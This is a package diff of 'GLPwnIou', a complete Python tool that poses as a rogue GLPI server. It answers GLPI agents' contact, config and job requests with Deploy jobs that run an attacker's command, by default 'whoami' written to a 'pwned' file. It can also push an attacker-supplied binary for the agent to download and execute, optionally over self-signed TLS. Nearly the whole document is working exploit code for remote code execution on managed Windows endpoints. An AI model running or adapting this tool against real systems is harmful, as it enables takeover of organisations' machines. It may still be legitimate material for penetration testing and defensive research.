GLPwnIou 1.0.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,12 @@
1
+ __pycache__/
2
+ *.pyc
3
+ build/
4
+ dist/
5
+ *.egg-info/
6
+ .venv/
7
+ venv/
8
+
9
+ .gitignore
10
+
11
+ # Local
12
+ article
@@ -0,0 +1,359 @@
1
+ #!/usr/bin/env python3
2
+
3
+ import argparse
4
+ import gzip
5
+ import hashlib
6
+ import json
7
+ import os
8
+ import re
9
+ import ssl
10
+ import subprocess
11
+ import tempfile
12
+ import zlib
13
+ from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
14
+ from urllib.parse import urlparse, parse_qs
15
+
16
+ # base URL forthe agent, e.g. http://ip/deploy
17
+ SELF_URL = None
18
+ PAYLOAD_CMD = 'cmd.exe /c whoami > C:\\Windows\\Temp\\pwned.fenrisk'
19
+ RUN_COMMAND = None # override execution when staging a binary
20
+ JOB_UUID = "0fae2958-24d5-0651-c49c-d1fec1766af6"
21
+ DEBUG = False
22
+
23
+ # dict: {sha512, name, bytes} or None for command-only mode
24
+ STAGE = None
25
+
26
+
27
+ # ---------------------------------------------------------------------------
28
+ # response builders
29
+ # ---------------------------------------------------------------------------
30
+ def contact_answer():
31
+ # Native GLPI >=10 CONTACT answer. status + expiration>0 are mandatory.
32
+ # 'tasks' hints the agent to run Deploy against us. Some builds also drive
33
+ # Deploy purely from its own getConfig, so this is belt-and-suspenders.
34
+ return {
35
+ "status": "ok",
36
+ "expiration": 1, # hours; must be > 0
37
+ "tasks": {
38
+ "deploy": {"server": SELF_URL},
39
+ "inventory": {"server": SELF_URL},
40
+ },
41
+ }
42
+
43
+
44
+ def getconfig_response():
45
+ # Tells the Deploy task: a job is due; poll `remote` (us) for it.
46
+ return {
47
+ "configValidityPeriod": 600,
48
+ "schedule": [
49
+ {"task": "Deploy", "remote": SELF_URL, "periodicity": 60},
50
+ ],
51
+ }
52
+
53
+
54
+ def _cmd_action(exec_str):
55
+ # Each action is a SINGLE-KEY hash keyed by action name; ActionProcessor
56
+ # splits it into ($actionName, $params). Cmd reads: exec (required),
57
+ # logLineLimit (default 10), retChecks (optional), envs (optional).
58
+ return {"cmd": {"exec": exec_str, "logLineLimit": 10}}
59
+
60
+
61
+ def getjobs_response():
62
+ if STAGE is None:
63
+ # command-only: no files, single cmd action
64
+ return {
65
+ "associatedFiles": {},
66
+ "jobs": [{
67
+ "uuid": JOB_UUID,
68
+ "associatedFiles": [],
69
+ "actions": [_cmd_action(PAYLOAD_CMD)],
70
+ "checks": [],
71
+ }],
72
+ }
73
+
74
+ # staging mode: ship a real file, then execute it.
75
+ sha = STAGE["sha512"]
76
+ name = STAGE["name"]
77
+ # agent appends <c1>/<c1c2>/<sha>
78
+ mirror = SELF_URL.rstrip("/") + "/getFile/"
79
+ # if --run-command was provided, use it; otherwise execute the binary by name
80
+ exec_cmd = RUN_COMMAND if RUN_COMMAND else name
81
+ return {
82
+ "associatedFiles": {
83
+ sha: {
84
+ "name": name,
85
+ "mirrors": [mirror],
86
+ "multiparts": [sha], # single part; part sha == file sha
87
+ "p2p": 0,
88
+ "p2p-retention-duration": 0,
89
+ "uncompress": 0, # deliver raw, not zipped
90
+ }
91
+ },
92
+ "jobs": [{
93
+ "uuid": JOB_UUID,
94
+ "associatedFiles": [sha], # pull this file before actions run
95
+ "actions": [
96
+ # file lands in the job working dir; exec it by command/name.
97
+ _cmd_action(exec_cmd),
98
+ ],
99
+ "checks": [],
100
+ }],
101
+ }
102
+
103
+
104
+ # ---------------------------------------------------------------------------
105
+ # HTTP handler
106
+ # ---------------------------------------------------------------------------
107
+ def _clip(data, limit=2048):
108
+ # Return a printable, length-bounded view of a bytes/str blob.
109
+ if isinstance(data, bytes):
110
+ try:
111
+ text = data.decode("utf-8", "replace")
112
+ except Exception:
113
+ text = repr(data)
114
+ else:
115
+ text = data
116
+ if len(text) > limit:
117
+ return text[:limit] + f"... [+{len(text) - limit} bytes truncated]"
118
+ return text
119
+
120
+
121
+ class Handler(BaseHTTPRequestHandler):
122
+ server_version = "Apache"
123
+
124
+ def _decompress(self, data):
125
+ # GLPI-Agent compresses request bodies and flags the codec via
126
+ # Content-Type: application/x-compress-zlib (RFC1950) or
127
+ # application/x-compress-gzip. Older/plain agents send raw XML. We
128
+ # decode by header, then fall back to magic-byte sniffing.
129
+ if not data:
130
+ return data
131
+ ctype = self.headers.get("Content-Type", "")
132
+ try:
133
+ if "x-compress-zlib" in ctype:
134
+ return zlib.decompress(data)
135
+ if "x-compress-gzip" in ctype:
136
+ return gzip.decompress(data)
137
+ except Exception as e:
138
+ print(f"[!] decompress failed for Content-Type {ctype!r}: {e}")
139
+ return data
140
+ # No/unknown codec header: sniff. zlib streams start 0x78, gzip 0x1f8b.
141
+ try:
142
+ if data[:2] == b"\x1f\x8b":
143
+ return gzip.decompress(data)
144
+ if data[:1] == b"\x78":
145
+ return zlib.decompress(data)
146
+ except Exception:
147
+ pass
148
+ return data
149
+
150
+ def _dbg_request(self, body=b""):
151
+ if not DEBUG:
152
+ return
153
+ print("\n" + "=" * 72)
154
+ print(
155
+ f">>> REQUEST {self.command} {self.path} from {self.client_address[0]}")
156
+ for k, v in self.headers.items():
157
+ print(f" {k}: {v}")
158
+ if body:
159
+ print(" ---- body ----")
160
+ print(" " + _clip(body).replace("\n", "\n "))
161
+
162
+ def _dbg_response(self, status, ctype, body):
163
+ if not DEBUG:
164
+ return
165
+ print(
166
+ f"<<< RESPONSE {status} Content-Type: {ctype} ({len(body)} bytes)")
167
+ print(" " + _clip(body).replace("\n", "\n "))
168
+ print("=" * 72)
169
+
170
+ def _json(self, obj):
171
+ body = json.dumps(obj).encode()
172
+ self.send_response(200)
173
+ self.send_header("Content-Type", "application/json")
174
+ self.send_header("Content-Length", str(len(body)))
175
+ self.end_headers()
176
+ self.wfile.write(body)
177
+ self._dbg_response(200, "application/json", body)
178
+
179
+ def _raw(self, data, ctype="application/octet-stream"):
180
+ self.send_response(200)
181
+ self.send_header("Content-Type", ctype)
182
+ self.send_header("Content-Length", str(len(data)))
183
+ self.end_headers()
184
+ self.wfile.write(data)
185
+ self._dbg_response(200, ctype, data)
186
+
187
+ def _xml(self, text):
188
+ data = text.encode()
189
+ self.send_response(200)
190
+ self.send_header("Content-Type", "application/xml")
191
+ self.send_header("Content-Length", str(len(data)))
192
+ self.end_headers()
193
+ self.wfile.write(data)
194
+ self._dbg_response(200, "application/xml", data)
195
+
196
+ def _serve_file_if_match(self, path):
197
+ # Deploy File.pm requests <mirror><c1>/<c1c2>/<full_sha512>. Match on
198
+ # the trailing sha512 so we don't depend on the exact dir scheme.
199
+ if STAGE is None:
200
+ return False
201
+ m = re.search(r"([0-9a-fA-F]{128})\b", path)
202
+ if m and m.group(1).lower() == STAGE["sha512"].lower():
203
+ print(f"[!] serving staged payload part sha512={STAGE['sha512'][:16]}... "
204
+ f"({len(STAGE['bytes'])} bytes)")
205
+ self._raw(STAGE["bytes"])
206
+ return True
207
+ return False
208
+
209
+ def _dispatch(self, action, qs, body=b""):
210
+ if action == "contact":
211
+ print(f"[+] CONTACT from {self.client_address[0]}")
212
+ self._json(contact_answer())
213
+ elif action == "getConfig":
214
+ print(f"[+] getConfig machineid={qs.get('machineid', ['?'])[0]}")
215
+ self._json(getconfig_response())
216
+ elif action == "getJobs":
217
+ mode = "staged-file" if STAGE else "command"
218
+ print(f"[!] getJobs -> serving payload ({mode})")
219
+ self._json(getjobs_response())
220
+ elif action == "setStatus":
221
+ status = qs.get('status', ['?'])[0]
222
+ step = qs.get('currentStep', ['?'])[0]
223
+ msg = qs.get('msg', [''])[0]
224
+
225
+ if status == '?':
226
+ color = '\033[93m'
227
+ elif status == 'ok':
228
+ color = '\033[92m'
229
+ else:
230
+ color = '\033[91m'
231
+ reset = '\033[0m'
232
+
233
+ print(f"\t{color}{step} - {msg}{reset}")
234
+ self._json({})
235
+ elif body[:1] == b"<" or b"PROLOG" in body:
236
+ # legacy glpi-inventory plugin: XML PROLOG. Permissive reply so the
237
+ # agent proceeds to run its Deploy task against us.
238
+ print("[+] legacy PROLOG -> permissive reply")
239
+ self._xml("<?xml version='1.0' encoding='UTF-8'?>"
240
+ "<REPLY><RESPONSE>SEND</RESPONSE>"
241
+ "<PROLOG_FREQ>1</PROLOG_FREQ></REPLY>")
242
+ else:
243
+ print(f"[?] unhandled action={action!r} path={self.path}")
244
+ self._json({})
245
+
246
+ def do_GET(self):
247
+ self._dbg_request()
248
+ if self._serve_file_if_match(self.path):
249
+ return
250
+ q = parse_qs(urlparse(self.path).query)
251
+ self._dispatch(q.get("action", [""])[0], q)
252
+
253
+ def do_POST(self):
254
+ length = int(self.headers.get("Content-Length", 0) or 0)
255
+ raw = self.rfile.read(length) if length else b""
256
+ # XML PROLOG arrives zlib/gzip-compressed
257
+ body = self._decompress(raw)
258
+ self._dbg_request(body)
259
+ if self._serve_file_if_match(self.path):
260
+ return
261
+ q = parse_qs(urlparse(self.path).query)
262
+ self._dispatch(q.get("action", [""])[0], q, body)
263
+
264
+ def log_message(self, *a):
265
+ pass
266
+
267
+
268
+ def _autocert():
269
+ # Generate a throwaway self-signed cert+key with openssl for --tls when the
270
+ # operator didn't supply one. useful for --no-ssl-chec
271
+ d = tempfile.mkdtemp(prefix="glpwniou_")
272
+ pem = os.path.join(d, "cert.pem")
273
+ cn = urlparse(SELF_URL).hostname or "glpi"
274
+ subprocess.run(
275
+ ["openssl", "req", "-x509", "-newkey", "rsa:2048", "-nodes",
276
+ "-keyout", pem, "-out", pem, "-days", "30",
277
+ "-subj", f"/CN={cn}", "-addext", f"subjectAltName=DNS:{cn}"],
278
+ check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
279
+ )
280
+ print(f"[*] generated self-signed cert for CN={cn}: {pem}")
281
+ return pem
282
+
283
+
284
+ # ---------------------------------------------------------------------------
285
+ def main():
286
+ global SELF_URL, PAYLOAD_CMD, STAGE, DEBUG, RUN_COMMAND
287
+ ap = argparse.ArgumentParser(
288
+ description="GLPwnIou - Rogue Man-in-The-Middle GLPI server")
289
+ ap.add_argument("--host", default="0.0.0.0")
290
+ ap.add_argument("--port", type=int, default=80)
291
+ ap.add_argument("--advertise", required=True,
292
+ help="Base URL the agent reaches us on, e.g. http://10.0.0.5/deploy (use https://... with --tls)")
293
+ ap.add_argument(
294
+ "--cmd", help="command-only payload (default: benign whoami)")
295
+ ap.add_argument("--payload-file",
296
+ help="stage this real file via associatedFiles/SHA512 and run it")
297
+ ap.add_argument("--run-name",
298
+ help="filename the staged payload is written as / executed by "
299
+ "(default: basename of --payload-file)")
300
+ ap.add_argument("--run-command",
301
+ help="when staging a binary, execute this command instead of running the binary directly "
302
+ "(e.g., 'powershell -File updater.exe -Silent')")
303
+ ap.add_argument("--tls", action="store_true",
304
+ help="serve HTTPS (for agents on TLS; effective vs "
305
+ "--no-ssl-check agents or a CA you control)")
306
+ ap.add_argument("--cert",
307
+ help="combined TLS PEM holding BOTH cert and key, e.g. from "
308
+ "`openssl pkcs12 -in glpi.pfx -nodes -out glpi.pem` "
309
+ "(with --tls; auto-generated if omitted)")
310
+ ap.add_argument("-d", "--debug", action="store_true",
311
+ help="dump every request (method, path, headers, body) and the "
312
+ "full response sent back")
313
+ args = ap.parse_args()
314
+
315
+ DEBUG = args.debug
316
+ SELF_URL = args.advertise
317
+
318
+ if args.cmd and args.payload_file:
319
+ ap.error("--cmd and --payload-file are mutually exclusive")
320
+
321
+ if args.payload_file and args.run_command:
322
+ RUN_COMMAND = args.run_command
323
+
324
+ if args.cmd:
325
+ PAYLOAD_CMD = args.cmd
326
+
327
+ if args.payload_file:
328
+ with open(args.payload_file, "rb") as f:
329
+ data = f.read()
330
+ STAGE = {
331
+ "bytes": data,
332
+ "sha512": hashlib.sha512(data).hexdigest(),
333
+ "name": args.run_name or os.path.basename(args.payload_file),
334
+ }
335
+ print(f"[*] Staging {args.payload_file} as '{STAGE['name']}' "
336
+ f"({len(data)} bytes) sha512={STAGE['sha512'][:16]}...")
337
+
338
+ print(f"[*] Rogue GLPI Deploy server on {args.host}:{args.port}")
339
+ print(f"[*] Advertising base URL: {SELF_URL}")
340
+ print(f"[*] Mode: {'staged-file exec' if STAGE else 'command-only'}")
341
+ if STAGE is None:
342
+ print(f"[*] Payload cmd: {PAYLOAD_CMD}")
343
+ httpd = ThreadingHTTPServer((args.host, args.port), Handler)
344
+
345
+ if args.tls:
346
+ cert = args.cert if args.cert else _autocert()
347
+ ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
348
+ ctx.load_cert_chain(certfile=cert)
349
+ httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True)
350
+ print(f"[*] TLS enabled (cert={cert})")
351
+
352
+ try:
353
+ httpd.serve_forever()
354
+ except KeyboardInterrupt:
355
+ print("\n[*] shutting down")
356
+
357
+
358
+ if __name__ == "__main__":
359
+ main()